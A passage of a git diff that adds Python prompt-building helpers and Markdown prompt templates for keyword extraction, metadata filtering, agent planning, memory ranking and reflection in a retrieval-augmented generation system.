num_tokens_from_string(msg_[0]["content"]) + ll2 = num_tokens_from_string(msg_[-1]["content"]) + if ll / (ll + ll2) > 0.8: + m = msg_[0]["content"] + m = encoder.decode(encoder.encode(m)[: max_length - ll2]) + msg[0]["content"] = m + return max_length, msg + + m = msg_[-1]["content"] + m = encoder.decode(encoder.encode(m)[: max_length - ll2]) + msg[-1]["content"] = m + return max_length, msg + + +def kb_prompt(kbinfos, max_tokens, hash_id=False): + from api.db.services.document_service import DocumentService + + knowledges = [get_value(ck, "content", "content_with_weight") for ck in kbinfos["chunks"]] + kwlg_len = len(knowledges) + used_token_count = 0 + chunks_num = 0 + for i, c in enumerate(knowledges): + if not c: + continue + used_token_count += num_tokens_from_string(c) + chunks_num += 1 + if max_tokens * 0.97 < used_token_count: + knowledges = knowledges[:i] + logging.warning(f"Not all the retrieval into prompt: {len(knowledges)}/{kwlg_len}") + break + + docs = DocumentService.get_by_ids([get_value(ck, "doc_id", "document_id") for ck in kbinfos["chunks"][:chunks_num]]) + docs = {d.id: d.meta_fields for d in docs} + + def draw_node(k, line): + if line is not None and not isinstance(line, str): + line = str(line) + if not line: + return "" + return f"\n├── {k}: " + re.sub(r"\n+", " ", line, flags=re.DOTALL) + + knowledges = [] + for i, ck in enumerate(kbinfos["chunks"][:chunks_num]): + cnt = "\nID: {}".format(i if not hash_id else hash_str2int(get_value(ck, "id", "chunk_id"), 100)) + cnt += draw_node("Title", get_value(ck, "docnm_kwd", "document_name")) + cnt += draw_node("URL", ck['url']) if "url" in ck else "" + for k, v in docs.get(get_value(ck, "doc_id", "document_id"), {}).items(): + cnt += draw_node(k, v) + cnt += "\n└── Content:\n" + cnt += get_value(ck, "content", "content_with_weight") + knowledges.append(cnt) + + return knowledges + + +CITATION_PROMPT_TEMPLATE = load_prompt("citation_prompt") +CITATION_PLUS_TEMPLATE = load_prompt("citation_plus") +CONTENT_TAGGING_PROMPT_TEMPLATE = load_prompt("content_tagging_prompt") +CROSS_LANGUAGES_SYS_PROMPT_TEMPLATE = load_prompt("cross_languages_sys_prompt") +CROSS_LANGUAGES_USER_PROMPT_TEMPLATE = load_prompt("cross_languages_user_prompt") +FULL_QUESTION_PROMPT_TEMPLATE = load_prompt("full_question_prompt") +KEYWORD_PROMPT_TEMPLATE = load_prompt("keyword_prompt") +QUESTION_PROMPT_TEMPLATE = load_prompt("question_prompt") +VISION_LLM_DESCRIBE_PROMPT = load_prompt("vision_llm_describe_prompt") +VISION_LLM_FIGURE_DESCRIBE_PROMPT = load_prompt("vision_llm_figure_describe_prompt") + +ANALYZE_TASK_SYSTEM = load_prompt("analyze_task_system") +ANALYZE_TASK_USER = load_prompt("analyze_task_user") +NEXT_STEP = load_prompt("next_step") +REFLECT = load_prompt("reflect") +SUMMARY4MEMORY = load_prompt("summary4memory") +RANK_MEMORY = load_prompt("rank_memory") +META_FILTER = load_prompt("meta_filter") +ASK_SUMMARY = load_prompt("ask_summary") + +PROMPT_JINJA_ENV = jinja2.Environment(autoescape=False, trim_blocks=True, lstrip_blocks=True) + + +def citation_prompt(user_defined_prompts: dict={}) -> str: + template = PROMPT_JINJA_ENV.from_string(user_defined_prompts.get("citation_guidelines", CITATION_PROMPT_TEMPLATE)) + return template.render() + + +def citation_plus(sources: str) -> str: + template = PROMPT_JINJA_ENV.from_string(CITATION_PLUS_TEMPLATE) + return template.render(example=citation_prompt(), sources=sources) + + +def keyword_extraction(chat_mdl, content, topn=3): + template = PROMPT_JINJA_ENV.from_string(KEYWORD_PROMPT_TEMPLATE) + rendered_prompt = template.render(content=content, topn=topn) + + msg = [{"role": "system", "content": rendered_prompt}, {"role": "user", "content": "Output: "}] + _, msg = message_fit_in(msg, chat_mdl.max_length) + kwd = chat_mdl.chat(rendered_prompt, msg[1:], {"temperature": 0.2}) + if isinstance(kwd, tuple): + kwd = kwd[0] + kwd = re.sub(r"^.*", "", kwd, flags=re.DOTALL) + if kwd.find("**ERROR**") >= 0: + return "" + return kwd + + +def question_proposal(chat_mdl, content, topn=3): + template = PROMPT_JINJA_ENV.from_string(QUESTION_PROMPT_TEMPLATE) + rendered_prompt = template.render(content=content, topn=topn) + + msg = [{"role": "system", "content": rendered_prompt}, {"role": "user", "content": "Output: "}] + _, msg = message_fit_in(msg, chat_mdl.max_length) + kwd = chat_mdl.chat(rendered_prompt, msg[1:], {"temperature": 0.2}) + if isinstance(kwd, tuple): + kwd = kwd[0] + kwd = re.sub(r"^.*", "", kwd, flags=re.DOTALL) + if kwd.find("**ERROR**") >= 0: + return "" + return kwd + + +def full_question(tenant_id=None, llm_id=None, messages=[], language=None, chat_mdl=None): + from api.db import LLMType + from api.db.services.llm_service import LLMBundle + from api.db.services.tenant_llm_service import TenantLLMService + + if not chat_mdl: + if TenantLLMService.llm_id2llm_type(llm_id) == "image2text": + chat_mdl = LLMBundle(tenant_id, LLMType.IMAGE2TEXT, llm_id) + else: + chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, llm_id) + conv = [] + for m in messages: + if m["role"] not in ["user", "assistant"]: + continue + conv.append("{}: {}".format(m["role"].upper(), m["content"])) + conversation = "\n".join(conv) + today = datetime.date.today().isoformat() + yesterday = (datetime.date.today() - datetime.timedelta(days=1)).isoformat() + tomorrow = (datetime.date.today() + datetime.timedelta(days=1)).isoformat() + + template = PROMPT_JINJA_ENV.from_string(FULL_QUESTION_PROMPT_TEMPLATE) + rendered_prompt = template.render( + today=today, + yesterday=yesterday, + tomorrow=tomorrow, + conversation=conversation, + language=language, + ) + + ans = chat_mdl.chat(rendered_prompt, [{"role": "user", "content": "Output: "}]) + ans = re.sub(r"^.*", "", ans, flags=re.DOTALL) + return ans if ans.find("**ERROR**") < 0 else messages[-1]["content"] + + +def cross_languages(tenant_id, llm_id, query, languages=[]): + from api.db import LLMType + from api.db.services.llm_service import LLMBundle + from api.db.services.tenant_llm_service import TenantLLMService + + if llm_id and TenantLLMService.llm_id2llm_type(llm_id) == "image2text": + chat_mdl = LLMBundle(tenant_id, LLMType.IMAGE2TEXT, llm_id) + else: + chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, llm_id) + + rendered_sys_prompt = PROMPT_JINJA_ENV.from_string(CROSS_LANGUAGES_SYS_PROMPT_TEMPLATE).render() + rendered_user_prompt = PROMPT_JINJA_ENV.from_string(CROSS_LANGUAGES_USER_PROMPT_TEMPLATE).render(query=query, languages=languages) + + ans = chat_mdl.chat(rendered_sys_prompt, [{"role": "user", "content": rendered_user_prompt}], {"temperature": 0.2}) + ans = re.sub(r"^.*", "", ans, flags=re.DOTALL) + if ans.find("**ERROR**") >= 0: + return query + return "\n".join([a for a in re.sub(r"(^Output:|\n+)", "", ans, flags=re.DOTALL).split("===") if a.strip()]) + + +def content_tagging(chat_mdl, content, all_tags, examples, topn=3): + template = PROMPT_JINJA_ENV.from_string(CONTENT_TAGGING_PROMPT_TEMPLATE) + + for ex in examples: + ex["tags_json"] = json.dumps(ex[TAG_FLD], indent=2, ensure_ascii=False) + + rendered_prompt = template.render( + topn=topn, + all_tags=all_tags, + examples=examples, + content=content, + ) + + msg = [{"role": "system", "content": rendered_prompt}, {"role": "user", "content": "Output: "}] + _, msg = message_fit_in(msg, chat_mdl.max_length) + kwd = chat_mdl.chat(rendered_prompt, msg[1:], {"temperature": 0.5}) + if isinstance(kwd, tuple): + kwd = kwd[0] + kwd = re.sub(r"^.*", "", kwd, flags=re.DOTALL) + if kwd.find("**ERROR**") >= 0: + raise Exception(kwd) + + try: + obj = json_repair.loads(kwd) + except json_repair.JSONDecodeError: + try: + result = kwd.replace(rendered_prompt[:-1], "").replace("user", "").replace("model", "").strip() + result = "{" + result.split("{")[1].split("}")[0] + "}" + obj = json_repair.loads(result) + except Exception as e: + logging.exception(f"JSON parsing error: {result} -> {e}") + raise e + res = {} + for k, v in obj.items(): + try: + if int(v) > 0: + res[str(k)] = int(v) + except Exception: + pass + return res + + +def vision_llm_describe_prompt(page=None) -> str: + template = PROMPT_JINJA_ENV.from_string(VISION_LLM_DESCRIBE_PROMPT) + + return template.render(page=page) + + +def vision_llm_figure_describe_prompt() -> str: + template = PROMPT_JINJA_ENV.from_string(VISION_LLM_FIGURE_DESCRIBE_PROMPT) + return template.render() + + +def tool_schema(tools_description: list[dict], complete_task=False): + if not tools_description: + return "" + desc = {} + if complete_task: + desc[COMPLETE_TASK] = { + "type": "function", + "function": { + "name": COMPLETE_TASK, + "description": "When you have the final answer and are ready to complete the task, call this function with your answer", + "parameters": { + "type": "object", + "properties": {"answer":{"type":"string", "description": "The final answer to the user's question"}}, + "required": ["answer"] + } + } + } + for tool in tools_description: + desc[tool["function"]["name"]] = tool + + return "\n\n".join([f"## {i+1}. {fnm}\n{json.dumps(des, ensure_ascii=False, indent=4)}" for i, (fnm, des) in enumerate(desc.items())]) + + +def form_history(history, limit=-6): + context = "" + for h in history[limit:]: + if h["role"] == "system": + continue + role = "USER" + if h["role"].upper()!= role: + role = "AGENT" + context += f"\n{role}: {h['content'][:2048] + ('...' if len(h['content'])>2048 else '')}" + return context + + +def analyze_task(chat_mdl, prompt, task_name, tools_description: list[dict], user_defined_prompts: dict={}): + tools_desc = tool_schema(tools_description) + context = "" + + if user_defined_prompts.get("task_analysis"): + template = PROMPT_JINJA_ENV.from_string(user_defined_prompts["task_analysis"]) + else: + template = PROMPT_JINJA_ENV.from_string(ANALYZE_TASK_SYSTEM + "\n\n" + ANALYZE_TASK_USER) + context = template.render(task=task_name, context=context, agent_prompt=prompt, tools_desc=tools_desc) + kwd = chat_mdl.chat(context, [{"role": "user", "content": "Please analyze it."}]) + if isinstance(kwd, tuple): + kwd = kwd[0] + kwd = re.sub(r"^.*", "", kwd, flags=re.DOTALL) + if kwd.find("**ERROR**") >= 0: + return "" + return kwd + + +def next_step(chat_mdl, history:list, tools_description: list[dict], task_desc, user_defined_prompts: dict={}): + if not tools_description: + return "" + desc = tool_schema(tools_description) + template = PROMPT_JINJA_ENV.from_string(user_defined_prompts.get("plan_generation", NEXT_STEP)) + user_prompt = "\nWhat's the next tool to call? If ready OR IMPOSSIBLE TO BE READY, then call `complete_task`." + hist = deepcopy(history) + if hist[-1]["role"] == "user": + hist[-1]["content"] += user_prompt + else: + hist.append({"role": "user", "content": user_prompt}) + json_str = chat_mdl.chat(template.render(task_analysis=task_desc, desc=desc, today=datetime.datetime.now().strftime("%Y-%m-%d")), + hist[1:], stop=["<|stop|>"]) + tk_cnt = num_tokens_from_string(json_str) + json_str = re.sub(r"^.*", "", json_str, flags=re.DOTALL) + return json_str, tk_cnt + + +def reflect(chat_mdl, history: list[dict], tool_call_res: list[Tuple], user_defined_prompts: dict={}): + tool_calls = [{"name": p[0], "result": p[1]} for p in tool_call_res] + goal = history[1]["content"] + template = PROMPT_JINJA_ENV.from_string(user_defined_prompts.get("reflection", REFLECT)) + user_prompt = template.render(goal=goal, tool_calls=tool_calls) + hist = deepcopy(history) + if hist[-1]["role"] == "user": + hist[-1]["content"] += user_prompt + else: + hist.append({"role": "user", "content": user_prompt}) + _, msg = message_fit_in(hist, chat_mdl.max_length) + ans = chat_mdl.chat(msg[0]["content"], msg[1:]) + ans = re.sub(r"^.*", "", ans, flags=re.DOTALL) + return """ +**Observation** +{} + +**Reflection** +{} + """.format(json.dumps(tool_calls, ensure_ascii=False, indent=2), ans) + + +def form_message(system_prompt, user_prompt): + return [{"role": "system", "content": system_prompt},{"role": "user", "content": user_prompt}] + + +def tool_call_summary(chat_mdl, name: str, params: dict, result: str, user_defined_prompts: dict={}) -> str: + template = PROMPT_JINJA_ENV.from_string(SUMMARY4MEMORY) + system_prompt = template.render(name=name, + params=json.dumps(params, ensure_ascii=False, indent=2), + result=result) + user_prompt = "→ Summary: " + _, msg = message_fit_in(form_message(system_prompt, user_prompt), chat_mdl.max_length) + ans = chat_mdl.chat(msg[0]["content"], msg[1:]) + return re.sub(r"^.*", "", ans, flags=re.DOTALL) + + +def rank_memories(chat_mdl, goal:str, sub_goal:str, tool_call_summaries: list[str], user_defined_prompts: dict={}): + template = PROMPT_JINJA_ENV.from_string(RANK_MEMORY) + system_prompt = template.render(goal=goal, sub_goal=sub_goal, results=[{"i": i, "content": s} for i,s in enumerate(tool_call_summaries)]) + user_prompt = " → rank: " + _, msg = message_fit_in(form_message(system_prompt, user_prompt), chat_mdl.max_length) + ans = chat_mdl.chat(msg[0]["content"], msg[1:], stop="<|stop|>") + return re.sub(r"^.*", "", ans, flags=re.DOTALL) + + +def gen_meta_filter(chat_mdl, meta_data:dict, query: str) -> list: + sys_prompt = PROMPT_JINJA_ENV.from_string(META_FILTER).render( + current_date=datetime.datetime.today().strftime('%Y-%m-%d'), + metadata_keys=json.dumps(meta_data), + user_question=query + ) + user_prompt = "Generate filters:" + ans = chat_mdl.chat(sys_prompt, [{"role": "user", "content": user_prompt}]) + ans = re.sub(r"(^.*|```json\n|```\n*$)", "", ans, flags=re.DOTALL) + try: + ans = json_repair.loads(ans) + assert isinstance(ans, list), ans + return ans + except Exception: + logging.exception(f"Loading json failure: {ans}") + return [] + + +def gen_json(system_prompt:str, user_prompt:str, chat_mdl, gen_conf = None): + _, msg = message_fit_in(form_message(system_prompt, user_prompt), chat_mdl.max_length) + ans = chat_mdl.chat(msg[0]["content"], msg[1:],gen_conf=gen_conf) + ans = re.sub(r"(^.*|```json\n|```\n*$)", "", ans, flags=re.DOTALL) + try: + return json_repair.loads(ans) + except Exception: + logging.exception(f"Loading json failure: {ans}") + + +TOC_DETECTION = load_prompt("toc_detection") +def detect_table_of_contents(page_1024:list[str], chat_mdl): + toc_secs = [] + for i, sec in enumerate(page_1024[:22]): + ans = gen_json(PROMPT_JINJA_ENV.from_string(TOC_DETECTION).render(page_txt=sec), "Only JSON please.", chat_mdl) + if toc_secs and not ans["exists"]: + break + toc_secs.append(sec) + return toc_secs + + +TOC_EXTRACTION = load_prompt("toc_extraction") +TOC_EXTRACTION_CONTINUE = load_prompt("toc_extraction_continue") +def extract_table_of_contents(toc_pages, chat_mdl): + if not toc_pages: + return [] + + return gen_json(PROMPT_JINJA_ENV.from_string(TOC_EXTRACTION).render(toc_page="\n".join(toc_pages)), "Only JSON please.", chat_mdl) + + +def toc_index_extractor(toc:list[dict], content:str, chat_mdl): + tob_extractor_prompt = """ + You are given a table of contents in a json format and several pages of a document, your job is to add the physical_index to the table of contents in the json format. + + The provided pages contains tags like and to indicate the physical location of the page X. + + The structure variable is the numeric system which represents the index of the hierarchy section in the table of contents. For example, the first section has structure index 1, the first subsection has structure index 1.1, the second subsection has structure index 1.2, etc. + + The response should be in the following JSON format: + [ + { + "structure": (string), + "title": , + "physical_index": "<physical_index_X>" (keep the format) + }, + ... + ] + + Only add the physical_index to the sections that are in the provided pages. + If the title of the section are not in the provided pages, do not add the physical_index to it. + Directly return the final JSON structure. Do not output anything else.""" + + prompt = tob_extractor_prompt + '\nTable of contents:\n' + json.dumps(toc, ensure_ascii=False, indent=2) + '\nDocument pages:\n' + content + return gen_json(prompt, "Only JSON please.", chat_mdl) + + +TOC_INDEX = load_prompt("toc_index") +def table_of_contents_index(toc_arr: list[dict], sections: list[str], chat_mdl): + if not toc_arr or not sections: + return [] + + toc_map = {} + for i, it in enumerate(toc_arr): + k1 = (it["structure"]+it["title"]).replace(" ", "") + k2 = it["title"].strip() + if k1 not in toc_map: + toc_map[k1] = [] + if k2 not in toc_map: + toc_map[k2] = [] + toc_map[k1].append(i) + toc_map[k2].append(i) + + for it in toc_arr: + it["indices"] = [] + for i, sec in enumerate(sections): + sec = sec.strip() + if sec.replace(" ", "") in toc_map: + for j in toc_map[sec.replace(" ", "")]: + toc_arr[j]["indices"].append(i) + + all_pathes = [] + def dfs(start, path): + nonlocal all_pathes + if start >= len(toc_arr): + if path: + all_pathes.append(path) + return + if not toc_arr[start]["indices"]: + dfs(start+1, path) + return + added = False + for j in toc_arr[start]["indices"]: + if path and j < path[-1][0]: + continue + _path = deepcopy(path) + _path.append((j, start)) + added = True + dfs(start+1, _path) + if not added and path: + all_pathes.append(path) + + dfs(0, []) + path = max(all_pathes, key=lambda x:len(x)) + for it in toc_arr: + it["indices"] = [] + for j, i in path: + toc_arr[i]["indices"] = [j] + print(json.dumps(toc_arr, ensure_ascii=False, indent=2)) + + i = 0 + while i < len(toc_arr): + it = toc_arr[i] + if it["indices"]: + i += 1 + continue + + if i>0 and toc_arr[i-1]["indices"]: + st_i = toc_arr[i-1]["indices"][-1] + else: + st_i = 0 + e = i + 1 + while e <len(toc_arr) and not toc_arr[e]["indices"]: + e += 1 + if e >= len(toc_arr): + e = len(sections) + else: + e = toc_arr[e]["indices"][0] + + for j in range(st_i, min(e+1, len(sections))): + ans = gen_json(PROMPT_JINJA_ENV.from_string(TOC_INDEX).render( + structure=it["structure"], + title=it["title"], + text=sections[j]), "Only JSON please.", chat_mdl) + if ans["exist"] == "yes": + it["indices"].append(j) + break + + i += 1 + + return toc_arr + + +def check_if_toc_transformation_is_complete(content, toc, chat_mdl): + prompt = """ + You are given a raw table of contents and a table of contents. + Your job is to check if the table of contents is complete. + + Reply format: + {{ + "thinking": <why do you think the cleaned table of contents is complete or not> + "completed": "yes" or "no" + }} + Directly return the final JSON structure. Do not output anything else.""" + + prompt = prompt + '\n Raw Table of contents:\n' + content + '\n Cleaned Table of contents:\n' + toc + response = gen_json(prompt, "Only JSON please.", chat_mdl) + return response['completed'] + + +def toc_transformer(toc_pages, chat_mdl): + init_prompt = """ + You are given a table of contents, You job is to transform the whole table of content into a JSON format included table_of_contents. + + The `structure` is the numeric system which represents the index of the hierarchy section in the table of contents. For example, the first section has structure index 1, the first subsection has structure index 1.1, the second subsection has structure index 1.2, etc. + The `title` is a short phrase or a several-words term. + + The response should be in the following JSON format: + [ + { + "structure": <structure index, "x.x.x" or None> (string), + "title": <title of the section> + }, + ... + ], + You should transform the full table of contents in one go. + Directly return the final JSON structure, do not output anything else. """ + + toc_content = "\n".join(toc_pages) + prompt = init_prompt + '\n Given table of contents\n:' + toc_content + def clean_toc(arr): + for a in arr: + a["title"] = re.sub(r"[.·….]{2,}", "", a["title"]) + last_complete = gen_json(prompt, "Only JSON please.", chat_mdl) + if_complete = check_if_toc_transformation_is_complete(toc_content, json.dumps(last_complete, ensure_ascii=False, indent=2), chat_mdl) + clean_toc(last_complete) + if if_complete == "yes": + return last_complete + + while not (if_complete == "yes"): + prompt = f""" + Your task is to continue the table of contents json structure, directly output the remaining part of the json structure. + The response should be in the following JSON format: + + The raw table of contents json structure is: + {toc_content} + + The incomplete transformed table of contents json structure is: + {json.dumps(last_complete[-24:], ensure_ascii=False, indent=2)} + + Please continue the json structure, directly output the remaining part of the json structure.""" + new_complete = gen_json(prompt, "Only JSON please.", chat_mdl) + if not new_complete or str(last_complete).find(str(new_complete)) >= 0: + break + clean_toc(new_complete) + last_complete.extend(new_complete) + if_complete = check_if_toc_transformation_is_complete(toc_content, json.dumps(last_complete, ensure_ascii=False, indent=2), chat_mdl) + + return last_complete + + +TOC_LEVELS = load_prompt("assign_toc_levels") +def assign_toc_levels(toc_secs, chat_mdl, gen_conf = {"temperature": 0.2}): + print("\nBegin TOC level assignment...\n") + + ans = gen_json( + PROMPT_JINJA_ENV.from_string(TOC_LEVELS).render(), + str(toc_secs), + chat_mdl, + gen_conf + ) + + return ans + + +TOC_FROM_TEXT_SYSTEM = load_prompt("toc_from_text_system") +TOC_FROM_TEXT_USER = load_prompt("toc_from_text_user") +# Generate TOC from text chunks with text llms +def gen_toc_from_text(text, chat_mdl): + ans = gen_json( + PROMPT_JINJA_ENV.from_string(TOC_FROM_TEXT_SYSTEM).render(), + PROMPT_JINJA_ENV.from_string(TOC_FROM_TEXT_USER).render(text=text), + chat_mdl, + gen_conf={"temperature": 0.0, "top_p": 0.9, "enable_thinking": False, } + ) + return ans + + +def split_chunks(chunks, max_length: int): + """ + Pack chunks into batches according to max_length, returning [{"id": idx, "text": chunk_text}, ...]. + Do not split a single chunk, even if it exceeds max_length. + """ + + result = [] + batch, batch_tokens = [], 0 + + for idx, chunk in enumerate(chunks): + t = num_tokens_from_string(chunk) + if batch_tokens + t > max_length: + result.append(batch) + batch, batch_tokens = [], 0 + batch.append({"id": idx, "text": chunk}) + batch_tokens += t + if batch: + result.append(batch) + return result + + +def run_toc_from_text(chunks, chat_mdl): + input_budget = int(chat_mdl.max_length * INPUT_UTILIZATION) - num_tokens_from_string( + TOC_FROM_TEXT_USER + TOC_FROM_TEXT_SYSTEM + ) + + input_budget = 2000 if input_budget > 2000 else input_budget + chunk_sections = split_chunks(chunks, input_budget) + res = [] + + for chunk in chunk_sections: + ans = gen_toc_from_text(chunk, chat_mdl) + res.extend(ans) + + # Filter out entries with title == -1 + filtered = [x for x in res if x.get("title") and x.get("title") != "-1"] + + print("\n\nFiltered TOC sections:\n", filtered) + + # Generate initial structure (structure/title) + raw_structure = [{"structure": "0", "title": x.get("title", "")} for x in filtered] + + # Assign hierarchy levels using LLM + toc_with_levels = assign_toc_levels(raw_structure, chat_mdl, {"temperature": 0.0, "top_p": 0.9, "enable_thinking": False}) + + # Merge structure and content (by index) + merged = [] + for _ , (toc_item, src_item) in enumerate(zip(toc_with_levels, filtered)): + merged.append({ + "structure": toc_item.get("structure", "0"), + "title": toc_item.get("title", ""), + "content": src_item.get("content", ""), + }) + + return merged \ No newline at end of file diff --git a/rag/prompts/keyword_prompt.md b/rag/prompts/keyword_prompt.md new file mode 100644 index 0000000..67729f2 --- /dev/null +++ b/rag/prompts/keyword_prompt.md @@ -0,0 +1,16 @@ +## Role +You are a text analyzer. + +## Task +Extract the most important keywords/phrases of a given piece of text content. + +## Requirements +- Summarize the text content, and give the top {{ topn }} important keywords/phrases. +- The keywords MUST be in the same language as the given piece of text content. +- The keywords are delimited by ENGLISH COMMA. +- Output keywords ONLY. + +--- + +## Text Content +{{ content }} diff --git a/rag/prompts/meta_filter.md b/rag/prompts/meta_filter.md new file mode 100644 index 0000000..89e322f --- /dev/null +++ b/rag/prompts/meta_filter.md @@ -0,0 +1,53 @@ +You are a metadata filtering condition generator. Analyze the user's question and available document metadata to output a JSON array of filter objects. Follow these rules: + +1. **Metadata Structure**: + - Metadata is provided as JSON where keys are attribute names (e.g., "color"), and values are objects mapping attribute values to document IDs. + - Example: + { + "color": {"red": ["doc1"], "blue": ["doc2"]}, + "listing_date": {"2025-07-11": ["doc1"], "2025-08-01": ["doc2"]} + } + +2. **Output Requirements**: + - Always output a JSON array of filter objects + - Each object must have: + "key": (metadata attribute name), + "value": (string value to compare), + "op": (operator from allowed list) + +3. **Operator Guide**: + - Use these operators only: ["contains", "not contains", "start with", "end with", "empty", "not empty", "=", "≠", ">", "<", "≥", "≤"] + - Date ranges: Break into two conditions (≥ start_date AND < next_month_start) + - Negations: Always use "≠" for exclusion terms ("not", "except", "exclude", "≠") + - Implicit logic: Derive unstated filters (e.g., "July" → [≥ YYYY-07-01, < YYYY-08-01]) + +4. **Processing Steps**: + a) Identify ALL filterable attributes in the query (both explicit and implicit) + b) For dates: + - Infer missing year from current date if needed + - Always format dates as "YYYY-MM-DD" + - Convert ranges: [≥ start, < end] + c) For values: Match EXACTLY to metadata's value keys + d) Skip conditions if: + - Attribute doesn't exist in metadata + - Value has no match in metadata + +5. **Example**: + - User query: "上市日期七月份的有哪些商品，不要蓝色的" + - Metadata: { "color": {...}, "listing_date": {...} } + - Output: + [ + {"key": "listing_date", "value": "2025-07-01", "op": "≥"}, + {"key": "listing_date", "value": "2025-08-01", "op": "<"}, + {"key": "color", "value": "blue", "op": "≠"} + ] + +6. **Final Output**: + - ONLY output valid JSON array + - NO additional text/explanations + +**Current Task**: +- Today's date: {{current_date}} +- Available metadata keys: {{metadata_keys}} +- User query: "{{user_question}}" + diff --git a/rag/prompts/next_step.md b/rag/prompts/next_step.md new file mode 100644 index 0000000..3e6b608 --- /dev/null +++ b/rag/prompts/next_step.md @@ -0,0 +1,92 @@ +You are an expert Planning Agent tasked with solving problems efficiently through structured plans. +Your job is: +1. Based on the task analysis, chose some right tools to execute. +2. Track progress and adapt plans(tool calls) when necessary. +3. Use `complete_task` if no further step you need to take from tools. (All necessary steps done or little hope to be done) + +# ========== TASK ANALYSIS ============= +{{ task_analysis }} + +# ========== TOOLS (JSON-Schema) ========== +You may invoke only the tools listed below. +Return a JSON array of objects in which item is with exactly two top-level keys: +• "name": the tool to call +• "arguments": an object whose keys/values satisfy the schema + +{{ desc }} + + +# ========== MULTI-STEP EXECUTION ========== +When tasks require multiple independent steps, you can execute them in parallel by returning multiple tool calls in a single JSON array. + +• **Data Collection**: Gathering information from multiple sources simultaneously +• **Validation**: Cross-checking facts using different tools +• **Comprehensive Analysis**: Analyzing different aspects of the same problem +• **Efficiency**: Reducing total execution time when steps don't depend on each other + +**Example Scenarios:** +- Searching multiple databases for the same query +- Checking weather in multiple cities +- Validating information through different APIs +- Performing calculations on different datasets +- Gathering user preferences from multiple sources + +# ========== RESPONSE FORMAT ========== +**When you need a tool** +Return ONLY the Json (no additional keys, no commentary, end with `<|stop|>`), such as following: +[{ + "name": "<tool_name1>", + "arguments": { /* tool arguments matching its schema */ } +},{ + "name": "<tool_name2>", + "arguments": { /* tool arguments matching its schema */ } +}...]<|stop|> + +**When you need multiple tools:** +Return ONLY: +[{ + "name": "<tool_name1>", + "arguments": { /* tool arguments matching its schema */ } +},{ + "name": "<tool_name2>", + "arguments": { /* tool arguments matching its schema */ } +},{ + "name": "<tool_name3>", + "arguments": { /* tool arguments matching its schema */ } +}...]<|stop|> + +**When you are certain the task is solved OR no further information can be obtained** +Return ONLY: +[{ + "name": "complete_task", + "arguments": { "answer": "<final answer text>" } +}]<|stop|> + +<verification_steps> +Before providing a final answer: +1. Double-check all gathered information +2. Verify calculations and logic +3. Ensure answer matches exactly what was asked +4. Confirm answer format meets requirements +5. Run additional verification if confidence is not 100% +</verification_steps> + +<error_handling> +If you encounter issues: +1. Try alternative approaches before giving up +2. Use different tools or combinations of tools +3. Break complex problems into simpler sub-tasks +4. Verify intermediate results frequently +5. Never return "I cannot answer" without exhausting all options +</error_handling> + +⚠️ Any output that is not valid JSON or that contains extra fields will be rejected. + +# ========== REASONING & REFLECTION ========== +You may think privately (not shown to the user) before producing each JSON object. +Internal guideline: +1. **Reason**: Analyse the user question; decide which tools (if any) are needed. +2. **Act**: Emit the JSON object to call the tool. + +Today is {{ today }}. Remember that success in answering questions accurately is paramount - take all necessary steps to ensure your answer is correct. + diff --git a/rag/prompts/question_prompt.md b/rag/prompts/question_prompt.md new file mode 100644 index 0000000..ec9889f --- /dev/null +++ b/rag/prompts/question_prompt.md @@ -0,0 +1,19 @@ +## Role +You are a text analyzer. + +## Task +Propose {{ topn }} questions about a given piece of text content. + +## Requirements +- Understand and summarize the text content, and propose the top {{ topn }} important questions. +- The questions SHOULD NOT have overlapping meanings. +- The questions SHOULD cover the main content of the text as much as possible. +- The questions MUST be in the same language as the given piece of text content. +- One question per line. +- Output questions ONLY. + +--- + +## Text Content +{{ content }} + diff --git a/rag/prompts/rank_memory.md b/rag/prompts/rank_memory.md new file mode 100644 index 0000000..7196985 --- /dev/null +++ b/rag/prompts/rank_memory.md @@ -0,0 +1,30 @@ +**Task**: Sort the tool call results based on relevance to the overall goal and current sub-goal. Return ONLY a sorted list of indices (0-indexed). + +**Rules**: +1. Analyze each result's contribution to both: + - The overall goal (primary priority) + - The current sub-goal (secondary priority) +2. Sort from MOST relevant (highest impact) to LEAST relevant +3. Output format: Strictly a Python-style list of integers. Example: [2, 0, 1] + +🔹 Overall Goal: {{ goal }} +🔹 Sub-goal: {{ sub_goal }} + +**Examples**: +🔹 Tool Response: + - index: 0 + > Tokyo temperature is 78°F. + - index: 1 + > Error: Authentication failed (expired API key). + - index: 2 + > Available: 12 widgets in stock (max 5 per customer). + + → rank: [1,2,0]<|stop|> + + +**Your Turn**: +🔹 Tool Response: +{% for f in results %} + - index: f.i + > f.content +{% endfor %} \ No newline at end of file diff --git a/rag/prompts/reflect.md b/rag/prompts/reflect.md new file mode 100644 index 0000000..a3e5e9c --- /dev/null +++ b/rag/prompts/reflect.md @@ -0,0 +1,75 @@ +**Context**: + - To achieve the goal: {{ goal }}. + - You have executed following tool calls: +{% for call in tool_calls %} +Tool call: `{{ call.name }}` +Results: {{ call.result }} +{% endfor %} + +## Task Complexity Analysis & Reflection Scope + +**First, analyze the task complexity using these dimensions:** + +### Complexity Assessment Matrix +- **Scope Breadth**: Single-step (1) | Multi-step (2) | Multi-domain (3) +- **Data Dependency**: Self-contained (1) | External inputs (2) | Multiple sources (3) +- **Decision Points**: Linear (1) | Few branches (2) | Complex logic (3) +- **Risk Level**: Low (1) | Medium (2) | High (3) + +**Complexity Score**: Sum all dimensions (4-12 points) + +--- + +## Task Transmission Assessment +**Note**: This section is not subject to word count limitations when transmission is needed, as it serves critical handoff functions. +**Evaluate if task transmission information is needed:** +- **Is this an initial step?** If yes, skip this section +- **Are there downstream agents/steps?** If no, provide minimal transmission +- **Is there critical state/context to preserve?** If yes, include full transmission + +### If Task Transmission is Needed: +- **Current State Summary**: [1-2 sentences on where we are] +- **Key Data/Results**: [Critical findings that must carry forward] +- **Context Dependencies**: [Essential context for next agent/step] +- **Unresolved Items**: [Issues requiring continuation] +- **Status for User**: [Clear status update in user terms] +- **Technical State**: [System state for technical handoffs] + +--- + +## Situational Reflection (Adjust Length Based on Complexity Score) + +### Reflection Guidelines: +- **Simple Tasks (4-5 points)**: ~50-100 words, focus on completion status and immediate next step +- **Moderate Tasks (6-8 points)**: ~100-200 words, include core details and main risks +- **Complex Tasks (9-12 points)**: ~200-300 words, provide full analysis and alternatives + +### 1. Goal Achievement Status + - Does the current outcome align with the original purpose of this task phase? + - If not, what critical gaps exist? + +### 2. 